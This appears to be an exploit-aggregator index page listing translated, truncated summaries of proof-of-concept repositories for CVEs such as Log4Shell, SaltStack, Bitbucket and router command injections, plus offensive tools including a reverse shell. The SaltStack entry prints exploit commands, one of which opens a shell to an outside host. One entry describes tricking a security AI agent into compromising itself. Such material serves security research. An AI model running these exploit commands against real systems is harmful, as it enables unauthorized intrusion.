CVE-2021-44228-log4Shell

CVE-2021-44228-log4Shell Exploit Exploit-Test führt Ping zu google.com aus führt beliebigen Befehl aus gibt Betriebssystemnamen, Version und Architektur aus sammelt Details über das Betriebssystem und den Benutzer öffnet Taschenrechner auf entferntem Rechner kann jede ausführbare Datei ausführen...

CVE-2023-2636

CVE-2023-2636...

CVE-2024-32002

CVE-2024-32002 Versioni 1.0.0 Questa versione funziona solo su un target remoto con utente autenticato e versione di git 2.45.0 vulnerabile. Questa vulnerabilità colpisce Git versione: 2.45.0 Prova di concetto La POC può innescare una RCE Remote Command Execution utilizzando il comando git clone...

CVE-2024-7120-Exploit-by-Dark-07x

Iniezione di comandi nei dispositivi Raisecom CVE-2024-7120 Prova di concetto! Panoramica È stata identificata una vulnerabilità di iniezione di comandi nei dispositivi gateway RAISECOM, che interessa i modelli MSG1200, MSG2100E, MSG2200 e MSG2300. Questa vulnerabilità consente a un attaccante...

Atlassian-Bitbucket-CVE-2022-36804

Atlassian-Bitbucket-Server-CVE-2022-36804 Una vulnerabilità critica di command injection è stata trovata in più endpoint API di Atlassian Bitbucket Server e Data Center. Questa vulnerabilità interessa tutte le versioni di Bitbucket Server e Data Center rilasciate prima delle versioni , , , , , e...

CVE-2018-19518

CVE-2018-19518 ultimo report qui : https://gitlab.com/ensimag-security/CVE-2018-19518/-/jobs/artifacts/master/raw/rapport.pdf?job=PDF Utilizzo avvia l'app root@kitploit: docker-compose up -d esempio di utilizzo normale per l'app web. imap : webmail.grenoble-inp.org utente : [email protected]...

CVE-2020-11107

CVE-2020-11107 Questa è una descrizione della CVE-2020-11107 che ho trovato. È stato scoperto un problema in XAMPP prima delle versioni 7.2.29, 7.3.x prima di 7.3.16 e 7.4.x prima di 7.4.4 su Windows. Un utente non privilegiato può modificare la configurazione di un file .exe in xampp-contol.ini...

CVE-2019-12725

CVE-2019-12725 CVE-2019-12725 ZeroShell Vulnerabilità di esecuzione remota di comandi =================================================== Proprio progetto di esercitazione...

CVE-2020-11652

SaltStack-Exp CVE-2020-11651 CVE-2020-11652 Esegui su Master: root@kitploit: python exp.py --exec-choose master --exec-cmd "whoami" Esegui su Minions: root@kitploit: python exp.py --exec-choose minions --exec-cmd "whoami" Ottieni Shell: root@kitploit: python exp.py --shell-LHOST 8.8.8.8...

CVE-2024-29375

CSV-Injection-PoC Addactis IBNRS 3.10.3.107에서의 CSV 인젝션 AV:N/AC:H/PR:L/UI:R/S:C/C:H/I:L/A:L CVSS: 7.1, 영향 점수: 5.3, 익스플로잇 점수: 1.3 영향받는 구성 요소: 프로젝트 설명, 식별자, 사용자 지정 삼각형 이름입력 삼각형 내 및 수익률 곡선 이름 매개 변수 스크린샷 1: 메모장을 열기 위해 프로젝트 설명에 Excel 수식 주입 스크린샷 2: 수식이 포함된 악성 IBNRS 프로젝트를 csvinjectionpoc.ibnrs로 저장 스크린샷 3...

CVE-2020-12124

CVE-2020-12124 Un'implementazione di una prova di concetto per CVE-2020-12124 https://vulners.com/cve/CVE-2020-12124 root@kitploit: The following is an actualization of CVE-2020-12124, a vulnerability which exploits a command injection in the Wavlink WN530H4 router in which certain parameters are...

CVE-2025-67511

CVE-2025-67511: Ingannare un agente AI di sicurezza per farlo autocompromettere Articolo del blog Hacktive Security per CVE-2025-67511 Link all'articolo del blog : https://www.hacktivesecurity.com/blog/2025/12/10/cve-2025-67511-tricking-a-security-ai-agent-into-pwning-itself/ TL;DR Una...

CVE-2026-23918-Double-free-Apache-httpd-mod_http2

CVE-2026-23918 - Apache httpd modhttp2 PoC Questo repository contiene un'implementazione proof-of-concept scritta in Go per uno scenario di corruzione della memoria pre-autenticazione che affligge Apache httpd con modhttp2. Il codice in questo repository dimostra un approccio spray-and-trigger...

TLS-Scanner

TLS-Scanner TLS-Scanner è uno strumento per assistere pentester e ricercatori di sicurezza nella valutazione delle configurazioni TLS di server e client. Nota bene: TLS-Scanner è uno strumento di ricerca destinato a sviluppatori TLS, pentester, amministratori e ricercatori. Non ha interfaccia...

Blackash-CVE-2025-12762

🔐 CVE-2025-12762 — Vulnerabilità RCE Critica in pgAdmin 4 🚨 Qual è il Problema? Una vulnerabilità di Esecuzione Remota di Codice RCE esiste in pgAdmin 4 versioni ≤ 9.9. Gli aggressori possono eseguire comandi arbitrari sull'host quando pgAdmin è in esecuzione in modalità server e processa un dump...

CVE-2020-12124

Anatomia di un Exploit IoT, dal Hands-On all'RCE originariamente su https://www.klogixsecurity.com/scorpion-labs-blog/anatomy-of-an-iot-exploit-from-hands-on-to-rce di David E. Baker, pubblicato il 1 giugno 2023 Premessa Questo studio riguarda il firmware del router Wavlink Wireless-AC1200 Gigabi...

CVE-2022-25845-In-Spring

CVE-2022-25845-In-Spring Dipendenze principali 1. jackson 2. commons-io Riproduzione rapida 1. Importa il progetto in IDEA ed esegui mvn install 2. Costruisci con Dockerfile ed esegui docker build . 3. Esegui src/test/java/POC.java per eseguire il comando touch /tmp/pwned Istruzioni per lo...

CVE-2021-46422

CVE-2021-46422 Iniezione di comandi OS in router wireless coreani Installazione root@kitploit: git clone https://github.com/kelemaoya/CVE-2021-46422.git cd CVE-2021-46422 pip3 install -r requirements.txt Utilizzo Singolo URL pocsuite -r ../CVE-2021-46422.py -u url --verify URL multipli pocsuite -...

MSSqlPwner

MSSqlPwner MSSqlPwner è uno strumento avanzato e versatile per pentesting, progettato per interagire e compromettere server MSSQL in modo agevole. Questo strumento si basa su Impacket, che permette agli attaccanti di autenticarsi ai database utilizzando password in chiaro, hash NTLM e ticket...

HTTP-Shell

HTTP-Shell HTTP-Shell ist eine Multiplattform-Reverse-Shell. Dieses Tool hilft Ihnen, eine shell-ähnliche Schnittstelle auf einer Reverse-Verbindung über HTTP zu erhalten. Im Gegensatz zu anderen Reverse-Shells besteht das Hauptziel des Tools darin, es in Verbindung mit Microsoft Dev Tunnels zu...